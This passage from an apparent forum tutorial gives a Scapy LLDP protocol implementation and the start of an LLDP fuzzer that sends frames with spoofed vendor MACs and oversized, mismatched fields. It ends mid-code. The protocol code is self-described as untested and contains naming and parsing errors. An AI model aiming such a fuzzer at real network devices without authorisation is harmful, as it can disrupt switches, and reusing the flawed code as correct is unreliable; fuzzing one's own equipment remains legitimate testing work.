BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x04, _LLDPOrgSpecificDot1),
BitField("ProtoIdentLength", None, 8),
StrLenField("ProtoIdent", "", length_from=lambda x: x.ProtoIdentLength - 1)]
1.22 Define 802.1 Subtype 5 -> VID Usage Digest802.1AB-2009.pdf - Page 131
The VID Usage Digest TLV is an optional TLV that allows an IEEE Std 802.1Q-compatible IEEE 802 LAN station to advertise the value of a VID Usage Digest associated with the system. The value of the VID Usage Digest is obtained by applying the CRC32 function (IEEE Std 802.3-2008, 4.2.10) to a VID Usage Table having a fixed length of 128 octets. A bit of the VID Usage Table contains the value PBB-TE-USAGE (binary 1) if the corresponding element of the MST Configuration Table (IEEE Std 802.1Q-2005, 8.9.1) contains the value PBB-TE MSTID (hex FFE) and otherwise contains the value NON-PBB-TE-USAGE (binary 0).
VID Usage Digest
The VID Usage Digest field shall contain a VID Usage Digest value obtained by applying the CRC32 function to the 128-octet VID Usage Table. A bit of the VID Usage Table contains the value PBB-TE- USAGE (binary 1) if the corresponding element of the MST Configuration Table (IEEE Std 802.1Q-2005, 8.9.1) contains the value PBB-TE MSTID (hex FFE) and otherwise contains the value NON-PBB-TE-USAGE (binary 0).
_LLDPUsageDigest = {0x00000000: "NON-PBB-TEUSAGE",
0x00000001: "PBB-TE-USAGE"}
class LLDPDot1VidUsageDigest(LLDPGeneric):
name = "LLDP IEEE 802.1 VID Usage Digest"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x05, _LLDPOrgSpecificDot1),
BitEnumField("UsageDigest", 0x00000001, 32, _LLDPUsageDigest)]
1.23 Define 802.1 Subtype 6 -> Management VID802.1AB-2009.pdf - Page 131
The Management VID TLV is an optional TLV that allows an IEEE 802.1Q-compatible IEEE 802 LAN station to advertise the value of a Management VID associated with the system.
class LLDPDot1MgmtVid(LLDPGeneric):
name = "LLDP IEEE 802.1 Management VID"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x06, _LLDPOrgSpecificDot1),
BitField("MgmtVid", 0, 16)]
1.24 Define 802.1 Subtype 7 -> Link Aggregationsee 1.16 Define 802.3 Subtype 3 -> Link Aggregation
1.25 The complete Script#!/usr/bin/env python
# scapy.contrib.description = Link Layer Discovery Protocol
# scapy.contrib.status = untestet
###############################################################
# Created at Sunday 18th November by RedBullAddicted
# Evilzone.org -> redbulladdicted@gmx.de
###############################################################
from scapy.packet import *
from scapy.fields import *
from scapy.layers.inet6 import *
_LLDP_tlv_cls = {0x00: "LLDPDUEnd",
0x01: "LLDPChassisId",
0x02: "LLDPPortId",
0x03: "LLDPTTL",
0x04: "LLDPPortDescription",
0x05: "LLDPSystemName",
0x06: "LLDPSystemDescription",
0x07: "LLDPSystemCapabilities",
0x08: "LLDPManagementAddress",
0x7f: "LLDPOrganizationalSpecific"}
_LLDP_tlv_types = {0x00: "End of LLDPDU",
0x01: "Chassis Id",
0x02: "Port Id",
0x03: "Time to Live",
0x04: "Port Description",
0x05: "System Name",
0x06: "System Description",
0x07: "System Capabilities",
0x08: "Management Address",
0x7f: "Organization Specific"}
###############################################################
# LLDP Generic
###############################################################
def _LLDPGuessPayloadClass(p, **kargs):
cls = Raw
if len(p) >= 2:
t = struct.unpack("!H", p[:2])[0]
clsname = _LLDP_tlv_cls.get(t, "LLDPGeneric")
cls = globals()[clsname]
return cls(p, **kargs)
class LLDPGeneric(Packet):
name = "LLDP Generic Message"
fields_desc = [ XShortEnumField("type", None, _LLDP_tlv_types),
FieldLenField("len", None, "val", "!H"),
StrLenField("val", "", length_from=lambda x:x.len - 4) ]
def guess_payload_class(self, p):
return Padding # _LLDPGuessPayloadClass
###############################################################
# TLV LLDP End of LLDPDU
###############################################################
class LLDPEndOfPdu(LLDPGeneric):
name = "LLDP End of LLDPDU"
fields_desc=[BitEnumField("type", 0x00, 7, _LLDP_tlv_types),
BitField("length", 0x00, 9)]
###############################################################
# TLV LLDP Chassis ID (mandatory)
###############################################################
_LLDPSubtypesChassisID = {0x00: "Reserved",
0x01: "Chassis Component",
0x02: "Interface Alias",
0x03: "Port Component",
0x04: "MAC Address",
0x05: "Network Address",
0x06: "Interface Name",
0x07: "Locally Assigned"}
_LLDPSubtypesipfamily = {0x01: "IPv4",
0x02: "IPv6"}
class LLDPChassisID(LLDPGeneric):
name = "LLDP Chassis ID"
fields_desc=[BitEnumField("type", 0x01, 7, _LLDP_tlv_types),
BitField("length", None, 9),
ByteEnumField("subtype", 0x04, _LLDPSubtypesChassisID),
ConditionalField(StrLenField("reserved", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x00),
ConditionalField(StrLenField("chassisComponent", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x01),
ConditionalField(StrLenField("intAlias", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x02),
ConditionalField(StrLenField("portComponent", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x03),
ConditionalField(MACField("macaddr", "00:11:22:33:44:55"), lambda pkt: pkt.subtype == 0x04),
ConditionalField(ByteEnumField("ipaddrfam", 0x01, _LLDPSubtypesipfamily),lambda pkt: pkt.subtype == 0x05),
ConditionalField(IP6Field("ipaddr", "2001:0db8:0000:08d3:0000:8a2e:0070:7344"), lambda pkt: pkt.ipaddrfam == 0x02),
ConditionalField(IPField("ipaddr", "192.168.1.1"), lambda pkt: pkt.ipaddrfam == 0x01),
ConditionalField(StrLenField("intName", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x06),
ConditionalField(StrLenField("localAssigned", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x07)]
###############################################################
# TLV LLDP Port ID (mandatory)
###############################################################
_LLDPSubtypesPortID = {0x00: "Reserved",
0x01: "Interface Alias",
0x02: "Port Component",
0x03: "MAC Address",
0x04: "Network Address",
0x05: "Interface Name",
0x06: "Agent Circut ID",
0x07: "Locally Assigned"}
class LLDPPortID(LLDPGeneric):
name = "LLDP Port ID"
fields_desc=[BitEnumField("type", 0x02, 7, _LLDP_tlv_types),
BitField("length", None, 9),
ByteEnumField("subtype", 0x04, _LLDPSubtypesPortID),
ConditionalField(StrLenField("reserved", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x00),
ConditionalField(StrLenField("intAlias", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x01),
ConditionalField(StrLenField("portComponent", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x02),
ConditionalField(MACField("macaddr", "00:11:22:33:44:55"), lambda pkt: pkt.subtype == 0x03),
ConditionalField(IPField("ipaddr", "192.168.1.1"), lambda pkt: pkt.subtype == 0x04),
ConditionalField(StrLenField("intName", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x05),
ConditionalField(StrLenField("agentCircutID", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x06),
ConditionalField(StrLenField("localAssigned", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x07)]
###############################################################
# TLV Time to Live TTL (mandatory)
###############################################################
class LLDPTTL(LLDPGeneric):
name = "LLDP TTL"
fields_desc=[BitEnumField("type", 0x03, 7, _LLDP_tlv_types),
BitField("length", None, 9),
ShortField("sec", 120)]
###############################################################
# TLV Port Description
###############################################################
class LLDPPortDescription(LLDPGeneric):
name = "LLDP Port Description"
fields_desc=[BitEnumField("type", 0x04, 7, _LLDP_tlv_types),
BitField("length", None, 9),
StrLenField("portDescription", "FastEthernet0/1", length_from=lambda x: x.length - 1)]
###############################################################
# TLV System Name
###############################################################
class LLDPSystemName(LLDPGeneric):
name = "LLDP System Name"
fields_desc=[BitEnumField("type", 0x05, 7, _LLDP_tlv_types),
BitField("length", None, 9),
StrLenField("systemName", "Switch", length_from=lambda x: x.length - 1)]
###############################################################
# TLV System Description
###############################################################
class LLDPSystemDescription(LLDPGeneric):
name = "LLDP System Description"
fields_desc=[BitEnumField("type", 0x06, 7, _LLDP_tlv_types),
BitField("length", None, 9),
StrLenField("systemDescription", "Firmware Version 7.1", length_from=lambda x: x.length - 1)]
###############################################################
# TLV System Capabilities
###############################################################
_LLDPCapabilities = {1: "other",
2: "repeater",
4: "bridge",
8: "wlanap",
16: "router",
32: "telephone",
64: "docsiscable",
128: "stationonly",
256: "cvlanbridge",
512: "svlanbridge",
1024: "tpmr"}
class LLDPSystemCapabilities(LLDPGeneric):
name = "LLDP System Capabilities"
fields_desc=[BitEnumField("type", 0x07, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("capabilities", 4, 16, _LLDPCapabilities),
BitEnumField("enabledCapabilities", 4, 16, _LLDPCapabilities)]
###############################################################
# TLV Management Address
###############################################################
_LLDPSubtypesManagementAddress = {0x01: "IPv4",
0x02: "IPv6",
0x06: "802",
0x10: "DNS Name"}
_LLDPIfSubtypesManagementAddress = {0x01: "Unknown",
0x02: "IfIndex",
0x03: "System Port Number"}
class LLDPMgmtAddress(LLDPGeneric):
name = "LLDP System Capabilities"
fields_desc=[BitEnumField("type", 0x08, 7, _LLDP_tlv_types),
BitField("length", None, 9),
ByteField("addrLen", None),
ByteEnumField("addrSubtype", 0x01, _LLDPSubtypesManagementAddress),
ConditionalField(IPField("ipaddr", "192.168.0.1"), lambda pkt: pkt.addrSubtype == 0x01),
ConditionalField(IP6Field("ip6addr", "2001:db8::1"), lambda pkt: pkt.addrSubtype == 0x02),
ConditionalField(MACField("macaddr", "00:11:22:33:44:55"), lambda pkt: pkt.addrSubtype == 0x06),
ConditionalField(StrLenField("dnsName", "SwitchInt0/1", length_from=lambda x: x.addrLen - 1), lambda pkt: pkt.addrSubtype == 0x10),
ConditionalField(StrLenField("addrval", "", length_from=lambda x: x.addrLen - 1), lambda pkt: pkt.addrSubtype not in [0x01, 0x02, 0x06, 0x10]),
ByteEnumField("ifSubtype", 0x02, _LLDPIfSubtypesManagementAddress),
IntField("ifnumber", 0),
FieldLenField("oidLen", None, length_of="oid", fmt="B"),
StrLenField("oid", "", length_from=lambda x: x.oidLen)]
###############################################################
# TLV Organisation Specific 802.3 Subtypes
###############################################################
_LLDPOrgSpecific = {0x00120f: "IEEE 802.3 Subtypes",
0x0080c2: "IEEE 802.1 Subtypes"}
###############################################################
# TLV Organisation Specific 802.3 Subtypes
###############################################################
_LLDPOrgSpecificDot3 = {0x01: "MAC/PHY Configuration/Status",
0x02: "Power Via MDI",
0x03: "Link Aggregation",
0x04: "Maximum Frame Size"}
###############################################################
# TLV Organisation Specific 802.3 MAC/PHY Configuration/Status
###############################################################
_LLDPAutoNegSupStat = {0x01: "Supported",
0x02: "Enabled",
0x03: "Supported and Enabled"}
_LLDPPmdCapabilities = {1: "1000BASE-T (full duplex mode)",
1024: "100BASE-TX (full duplex mode)",
2048: "100BASE-TX (half duplex mode)",
8192: "10BASE-T (full duplex mode)",
16384: "10BASE-T (half duplex mode)",
27649: "all",
27648: "all except 1000BASE-T (full duplex mode)"}
_LLDPOpMAUType = {0x00: "other or unknown",
0x01: "AUI",
0x02: "10BASE-5",
0x03: "FOIRL",
0x04: "10BASE-2",
0x05: "10BASE-T duplex mode unknown",
0x06: "10BASE-FP",
0x07: "10BASE-FB",
0x08: "10BASE-FL duplex mode unknown",
0x09: "10BROAD36",
0x0a: "10BASE-T half duplex mode",
0x0b: "10BASE-T full duplex mode",
0x0c: "10BASE-FL half duplex mode",
0x0d: "10BASE-FL full duplex mode",
0x0e: "100BASE-T4",
0x0f: "100BASE-TX half duplex mode",
0x10: "100BASE-TX full duplex mode",
0x11: "100BASE-FX half duplex mode",
0x12: "100BASE-FX full duplex mode",
0x13: "100BASE-T2 half duplex mode",
0x14: "100BASE-T2 full duplex mode",
0x15: "1000BASE-X half duplex mode",
0x16: "1000BASE-X full duplex mode",
0x17: "1000BASE-LX half duplex mode",
0x18: "1000BASE-LX full duplex mode",
0x19: "1000BASE-SX half duplex mode",
0x1a: "1000BASE-SX full duplex mode",
0x1b: "1000BASE-CX half duplex mode",
0x1c: "1000BASE-CX full duplex mode",
0x1d: "1000BASE-T half duplex mode",
0x1e: "1000BASE-T full duplex mode",
0x1f: "10GBASE-X",
0x20: "10GBASE-LX4",
0x21: "10GBASE-R",
0x22: "10GBASE-ER",
0x23: "10GBASE-LR",
0x24: "10GBASE-SR",
0x25: "10GBASE-W",
0x26: "10GBASE-EW",
0x27: "10GBASE-LW",
0x28: "10GBASE-SW",
0x29: "10GBASE-CX4",
0x2a: "2BASE-TL",
0x2b: "10PASS-TS",
0x2c: "100BASE-BX10D",
0x2d: "100BASE-BX10U",
0x2e: "100BASE-LX10",
0x2f: "1000BASE-BX10D",
0x30: "1000BASE-BX10U",
0x31: "1000BASE-LX10",
0x32: "1000BASE-PX10D",
0x33: "1000BASE-PX10U",
0x34: "1000BASE-PX20D",
0x35: "1000BASE-PX20U",
0x36: "10GBASE-T",
0x37: "10GBASE-LRM",
0x38: "1000BASE-KX",
0x39: "10GBASE-KX4",
0x3a: "10GBASE-KR",
0x3b: "10/1GBASE-PRX-D1",
0x3c: "10/1GBASE-PRX-D2",
0x3d: "10/1GBASE-PRX-D3",
0x3e: "10/1GBASE-PRX-U1",
0x3f: "10/1GBASE-PRX-U2",
0x40: "10/1GBASE-PRX-U3",
0x41: "10GBASE-PR-D1",
0x42: "10GBASE-PR-D2",
0x43: "10GBASE-PR-D3",
0x44: "10GBASE-PR-U1",
0x45: "10GBASE-PR-U3",
0x46: "40GBASE-KR4",
0x47: "40GBASE-CR4",
0x48: "40GBASE-SR4",
0x49: "40GBASE-FR",
0x4a: "40GBASE-LR4",
0x4b: "100GBASE-CR10",
0x4c: "100GBASE-SR10",
0x4d: "100GBASE-LR4",
0x4e: "100GBASE-ER4"}
class LLDPDot3MacPhyStatus(LLDPGeneric):
name = "LLDP IEEE 802.3 MAC/PHY Configuration/Status"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x00120f, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x01, _LLDPOrgSpecificDot3),
ByteEnumField("AutoNegStatus", 0x03, _LLDPAutoNegSupStat),
BitEnumField("PMDcapabilities", 1, 16, _LLDPPmdCapabilities),
BitEnumField("OperationalMAUType", 0x1e, 16, _LLDPOpMAUType)]
###############################################################
# TLV Organisation Specific 802.3 Power Via MDI
###############################################################
_LLDPMDIPowerSupport = {0x01: "Port Class: PSE",
0x02: "PSE MDI Power: Supported",
0x03: "Port Class: PSE + PSE MDI Power: Supported",
0x04: "PSE MDI Power Enabled: Yes",
0x05: "Port Class: PSE + PSE MDI Power Enabled: Yes",
0x06: "PSE MDI Power: Supported + PSE MDI Power Enabled: Yes",
0x07: "Port Class: PSE + PSE MDI Power: Supported + PSE MDI Power Enabled: Yes",
0x08: "PSE Pairs Control Ability: Yes",
0x09: "Port Class: PSE + PSE Pairs Control Ability: Yes",
0x0a: "PSE Pairs Control Ability: Yes + PSE MDI Power: Supported",
0x0b: "Port Class: PSE + PSE MDI Power: Supported + PSE Pairs Control Ability: Yes",
0x0c: "PSE MDI Power Enabled: Yes + PSE Pairs Control Ability: Yes",
0x0d: "Port Class: PSE + PSE MDI Power Enabled: Yes + PSE Pairs Control Ability: Yes",
0x0e: "PSE MDI Power: Supported + PSE MDI Power Enabled: Yes + PSE Pairs Control Ability: Yes",
0x0f: "Port Class: PSE + PSE MDI Power: Supported + PSE MDI Power Enabled: Yes + PSE Pairs Control Ability: Yes"}
_LLDPPSEPowerPair = {0x01: "the signal pairs only are in use",
0x02: "the spare pairs only are in use"}
_LLDPPowerClass = {0x00: "No Power",
0x01: "class 0",
0x02: "class 1",
0x03: "class 2",
0x04: "class 3",
0x05: "class 4"}
class LLDPDot3PowerViaMDI(LLDPGeneric):
name = "LLDP IEEE 802.3 Power Via MDI"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x00120f, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x02, _LLDPOrgSpecificDot3),
ByteEnumField("MDIPowerSupport", 0x07, _LLDPMDIPowerSupport),
ByteEnumField("PSEPowerPair", 0x01, _LLDPPSEPowerPair),
ByteEnumField("PowerClass", 0x00, _LLDPPowerClass)]
###############################################################
# TLV Organisation Specific 802.3 Link Aggregation
###############################################################
_LLDPAggregationStatus = {0x01: "Aggregation Capability: Yes",
0x02: "Aggregation Status: Enabled",
0x03: "Capable: Yes and Enabled: Yes"}
class LLDPDot3LinkAggregation(LLDPGeneric):
name = "LLDP IEEE 802.3 Link Aggregation"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x00120f, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x03, _LLDPOrgSpecificDot3),
ByteEnumField("AggregationStatus", 0x01, _LLDPAggregationStatus),
BitField("AggregatedPortID", 0, 32)]
###############################################################
# TLV Organisation Specific 802.3 Maximum Frame Size
###############################################################
class LLDPDot3MaxFrameSize(LLDPGeneric):
name = "LLDP IEEE 802.3 Maximum Frame Size"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x00120f, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x04, _LLDPOrgSpecificDot3),
BitField("MaxFrameSize", 1522, 16)]
###############################################################
# TLV Organisation Specific 802.1 Subtypes
###############################################################
_LLDPOrgSpecificDot1 = {0x01: "Port VLAN ID",
0x02: "Port and Protocol VLAN ID",
0x03: "VLAN Name",
0x04: "Protocol Identity",
0x05: "VID Usage Digest",
0x06: "Management VID",
0x07: "Link Aggregation"}
###############################################################
# TLV Organisation Specific 802.1 Port VLAN ID
###############################################################
class LLDPDot1PortVlanID(LLDPGeneric):
name = "LLDP IEEE 802.1 Port VLAN ID"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x01, _LLDPOrgSpecificDot1),
BitField("VlanIdentNr", 488, 16)]
###############################################################
# TLV Organisation Specific 802.1 Port and Protocol VLAN ID
###############################################################
_LLDPFlags = {0x01: "Not Supported + Not Enabled",
0x02: "Supported + Not Enabled",
0x06: "Supported + Enabled"}
class LLDPDot1PortProtVlanID(LLDPGeneric):
name = "LLDP IEEE 802.1 Port and Protocol VLAN ID"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x02, _LLDPOrgSpecificDot1),
ByteEnumField("flags", 0x01, _LLDPFlags),
BitField("VlanIdentNr", 488, 16)]
###############################################################
# TLV Organisation Specific 802.1 VLAN Name
###############################################################
class LLDPDot1VlanName(LLDPGeneric):
name = "LLDP IEEE 802.1 VLAN Name"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x03, _LLDPOrgSpecificDot1),
BitField("VID", 488, 16),
BitField("VlanNameLength", None, 8),
StrLenField("VlanName", "", length_from=lambda x: x.VlanNameLength - 1)]
###############################################################
# TLV Organisation Specific 802.1 Protocol Identity
###############################################################
class LLDPDot1ProtoIdent(LLDPGeneric):
name = "LLDP IEEE 802.1 Protocol Identity"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x04, _LLDPOrgSpecificDot1),
BitField("ProtoIdentLength", None, 8),
StrLenField("ProtoIdent", "", length_from=lambda x: x.ProtoIdentLength - 1)]
###############################################################
# TLV Organisation Specific 802.1 VID Usage Digest
###############################################################
_LLDPUsageDigest = {0x00000000: "NON-PBB-TEUSAGE",
0x00000001: "PBB-TE-USAGE"}
class LLDPDot1VidUsageDigest(LLDPGeneric):
name = "LLDP IEEE 802.1 VID Usage Digest"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x05, _LLDPOrgSpecificDot1),
BitEnumField("UsageDigest", 0x00000001, 32, _LLDPUsageDigest)]
###############################################################
# TLV Organisation Specific 802.1 Management VID
###############################################################
class LLDPDot1MgmtVid(LLDPGeneric):
name = "LLDP IEEE 802.1 Management VID"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x06, _LLDPOrgSpecificDot1),
BitField("MgmtVid", 0, 16)]
###############################################################
# TLV Organisation Specific 802.1 Link Aggregation
###############################################################
#LLDPAggregationStatus from 802.3
class LLDPDot1LinkAggregation(LLDPGeneric):
name = "LLDP IEEE 802.1 Link Aggregation"
fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
BitField("length", None, 9),
BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
ByteEnumField("subtype", 0x07, _LLDPOrgSpecificDot1),
ByteEnumField("AggregationStatus", 1, _LLDPAggregationStatus),
BitField("AggregatedPortID", 0, 32)]
class LLDP(Packet):
name ="LLDP"
fields_desc = [PacketListField("tlvlist", [], _LLDPGuessPayloadClass)]
bind_layers(Ether, LLDP, type=0x88cc)
-----------------------------------------------------------------------------------------------------------------
2 Python/scapy LLDP FuzzerThis is the code using the above provided LLDP scapy implementation script:
from scapy.all import *
from sys import argv
from sys import exit
import string
import random
import re
load_contrib('lldp')
if len(argv) != 2:
print "Usage: scapy_lldp_fuzzer.py [number of packets]"
exit(0)
#Generate random strings and numbers
def StringGen(size, chars=string.ascii_uppercase + string.digits + string.ascii_lowercase):
getstring = ''.join(random.choice(chars) for x in range(size))
if str(getstring.startswith("0")):
getstring = re.sub("0","1",getstring)
return getstring
#Generate Vendor Specific MAC Addresses
def RandMacGen(manufacturer):
if manufacturer == "HP":
randmac = ':'.join(map(lambda x: "%02x" % x, [ 0x00, 0x9c, 0x02, random.randint(0x00, 0x7F), random.randint(0x00, 0xFF), random.randint(0x00, 0xFF)]))
if manufacturer == "Cisco":
randmac = ':'.join(map(lambda x: "%02x" % x, [ 0x00, 0xe0, 0x1e, random.randint(0x00, 0x7F), random.randint(0x00, 0xFF), random.randint(0x00, 0xFF)]))
if manufacturer == "Extreme":
randmac = ':'.join(map(lambda x: "%02x" % x, [ 0x00, 0x01, 0x30, random.randint(0x00, 0x7F), random.randint(0x00, 0xFF), random.randint(0x00, 0xFF)]))
return randmac
def lldpPacketGen():
manufacturer = ["HP", "Cisco", "Extreme"]
randManufacturer = random.choice(manufacturer)
etherframe = Ether() #Start definition of Ethernet Frame
etherframe.dst = '01:80:c2:00:00:0e' #Set Ethernet Frame destination MAC to LLDP Broadcast
etherframe.src = RandMacGen(randManufacturer) #Set Random source MAC address
etherframe.type = 0x88cc #Define LLDP type
lldpChassisID = LLDPChassisID() #Start definition of LLDP Chassis ID TLV
lldpChassisID.type = 0x01 #LLDP TLV type 1 = Chassis ID
lldpChassisID.length = 0x07 #Define Frame Length
lldpChassisID.subtype = 0x04 #Use Chassis ID subtype 4 = MAC Address
lldpChassisID.macaddr = RandMacGen(randManufacturer) #Use Random MAC as Chassis ID Identifier
lldpPortID = LLDPPortID() #Start definition of LLDP Port ID TLV
lldpPortID.type = 0x02 #LLDP TLV type 2 = Port ID
lldpPortID.length = 0x04 #Define Frame Length
lldpPortID.subtype = 0x05 #Use Port ID subtype 5 = Interface Name
lldpPortID.intName = int(StringGen(3, string.digits)) #Random numbers as Port ID
lldpttl = LLDPTTL() #Start definition of LLDP TTL TLV
lldpttl.type = 0x03 #LLDP TLV Type 3 = Time To Live
lldpttl.length = 0x02 #Define Frame Length
lldpttl.sec = 120 #TTL in sec
lldpPortDesc = LLDPPortDescription() #Start definition of LLDP Port Description TLV
lldpPortDesc.type = 0x04 #LLDP TLV Type 4 = Port Description
lldpPortDesc.length = 0x16 #Define Frame Length
lldpPortDesc.portDescription = StringGen(22) #Random String as Port Description
lldpSysName = LLDPSystemName() #Start definition of LLDP System Name TLV
lldpSysName.type = 0x05 #LLDP TLV Type 5 = System Name
lldpSysName.length = 0x0c #Define Frame Length
lldpSysName.systemName = StringGen(12) #Random String as System Name
lldpSysDesc = LLDPSystemDescription() #Start definition of LLDP System Description TLV
lldpSysDesc.type = 0x06 #LLDP TLV Type 6 = System Description
lldpSysDesc.length = 0x4b #Define Frame Length
lldpSysDesc.systemDescription = StringGen(510, "A") #Random String as System Description
lldpSysCap = LLDPSystemCapabilities() #Start definition of LLDP System Capabilities TLV
lldpSysCap.type = 0x07 #LLDP TLV Type 7 = System Capabilities
lldpSysCap.length = 0x04 #Define Frame Length
lldpSysCap.capabilities = 'router' #Capabilities = router
lldpSysCap.enabledCapabilities = 'router' #enabled Capabilities = router
lldpMgmtAddr = LLDPMgmtAddress() #Start definition of LLDP Management Address TLV
lldpMgmtAddr.type = 0x08 #LLDP TLV Type 8 = Management Address
lldpMgmtAddr.length = 0x0e #Define Frame Length
lldpMgmtAddr.addrLen = 0x07 #Define Address length
lldpMgmtAddr.addrSubtype = 0x06 #Use Management Address subtype 6 = 802
lldpMgmtAddr.macaddr = RandMacGen(randManufacturer) #Random MAC Address
lldpMgmtAddr.ifSubtype = 0x02 #Use Interface Subtype 2 = Interface Index
lldpMgmtAddr.ifnumber = int(StringGen(4, string.digits)) #Random Numbers as Interface Index
lldpMgmtAddr.oidLen = 0x00 #We don't define any oids
lldpDot3MacPhyStat = LLDPDot3MacPhyStatus() #LLDP 802.3 - MAC/PHY Configuration/Status
lldpDot3MacPhyStat.type = 0x7f #LLDP TLV Type 127 = Organization Specific
lldpDot3MacPhyStat.length = 0x09 #Define Frame Length
lldpDot3MacPhyStat.orgUniqueCode= 0x00120f #LLDP Organization Specific Code 0x00120f = 802.3
lldpDot3MacPhyStat.subtype = 0x01 #802.3 Subtype 1 = MAC/PHY Configuration/Status
lldpDot3MacPhyStat.AutoNegStatus= 0x03 #Auto Negotiation Status 3 = Supported and Enabled
lldpDot3MacPhyStat.PMDcapabilities= 0x6c00 #PMD Capabilities 27648 = all except 1000BASE-T (full duplex mode)
lldpDot3MacPhyStat.OperationalMAUType= 0x0010 #Operational MAU Type 16 = 100BASE-TX full duplex mode
lldpDot3PwMdi = LLDPDot3PowerViaMDI() #LLDP 802.3 - Power Via MDI
lldpDot3PwMdi.type = 0x7f #LLDP TLV Type 127 = Organization Specific
lldpDot3PwMdi.length = 0x07 #Define Frame Length
lldpDot3PwMdi.orgUniqueCode = 0x00120f #LLDP Organization Specific Code 0x00120f = 802.3
lldpDot3PwMdi.subtype = 0x02 #802.3 Subtype 2 = Power Via MDI
lldpDot3PwMdi.MDIPowerSupport = 0x07 #MDI Power Support 7 = Port Class: PSE + PSE MDI Power: Supported + PSE MDI Power Enabled: Yes
lldpDot3PwMdi.PSEPowerPair = 0x01 #PSE Power Pair 1 = the signal pairs only are in use
lldpDot3PwMdi.PowerClass = 0x00 #Power Class 0 = No Power
lldpDot3LinkAgg = LLDPDot3LinkAggregation() #LLDP 802.3 - Link Aggregation
lldpDot3LinkAgg.type = 0x7f #LLDP TLV Type 127 = Organization Specific
lldpDot3LinkAgg.length = 0x09 #Define Frame Length
lldpDot3LinkAgg.orgUniqueCode = 0x00120f #LLDP Organization Specific Code 0x00120f = 802.3
lldpDot3LinkAgg.subtype = 0x03 #802.3 Subtype 3 = Link Aggregation
lldpDot3LinkAgg.AggregationStatus= 0x01 #Aggregation Status 1 = Aggregation Capability: Yes
lldpDot3LinkAgg.AggregatedPortID= 0x00000000 #Aggregated Port ID 0 = None
lldpMxFrameSize = LLDPDot3MaxFrameSize() #LLDP 802.3 - Max. Frame Size
lldpMxFrameSize.type = 0x7f #LLDP TLV Type 127 = Organization Specific
lldpMxFrameSize.length = 0x06 #Define Frame Length
lldpMxFrameSize.orgUniqueCode = 0x00120f #LLDP Organization Specific Code 0x00120f = 802.3
lldpMxFrameSize.subtype = 0x04 #802.3 Subtype 4 = Max. Frame Size
lldpMxFrameSize.MaxFrameSize = 1522 #Frame Size 1522
lldpDot1PVlanId = LLDPDot1PortVlanID() #LLDP 802.1 - Port VLAN ID
lldpDot1PVlanId.type = 0x7f #LLDP TLV Type 127 = Organization Specific
lldpDot1PVlanId.length = 0x06 #Define Frame Length
lldpDot1PVlanId.orgUniqueCode = 0x0080c2 #LLDP Organization Specific Code 0x0080c2 = 802.1
lldpDot1PVlanId.subtype = 0x01 #802.1 Subtype 1 = Port VLAN ID
lldpDot1PVlanId.VlanIdentNr = 488 #VLAN Identifier 488 (VID)
lldpDot1PPVlanId = LLDPDot1PortProtVlanID() #LLDP 802.1 - Port Protocol VLAN ID
lldpDot1PPVlanId.type = 0x7f #LLDP TLV Type 127 = Organization Specific
lldpDot1PPVlanId.length = 0x07 #Define Frame Length
